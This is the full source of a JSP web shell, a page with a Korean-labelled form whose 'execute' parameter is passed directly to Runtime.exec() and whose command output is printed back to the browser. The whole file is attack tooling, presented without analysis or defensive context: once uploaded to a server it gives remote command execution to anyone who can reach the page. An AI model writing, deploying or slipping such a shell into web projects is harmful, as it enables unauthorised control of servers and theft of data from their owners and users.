JSP WEB shell
JSP 용 web shell
<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.io.*"%>
<%
String execute = request.getParameter("execute");
if(execute == null) execute = "";
%>
<html>
<head>
<title>
WebShell
</title>
<script>
function send()
{
document.main.submit();
}
</script>
</head>
<body>
<br>
<form method="post" name="main" action="webshell.jsp">
<table width="400" border="0" CELLPADDING=0 CELLSPACING=0>
<tr bgcolor="#F7FCFE">
<td height="22" align="center" width="70">명령어</td>
<td height="22" align="center" align="left">
<input type="text" name="execute" size="30" value="<%=execute%>">
<input type="button" value="실행" onClick="javascript:send();"></td>
</tr>
</table>
</form>
<hr>
<%
if(!execute.equals("")){
BufferedReader br = null;
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(execute);
br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while((line = br.readLine())!=null){
out.println(line+"<br>");
}
br.close();
proc.destroy();
}
%>
</body>
</html>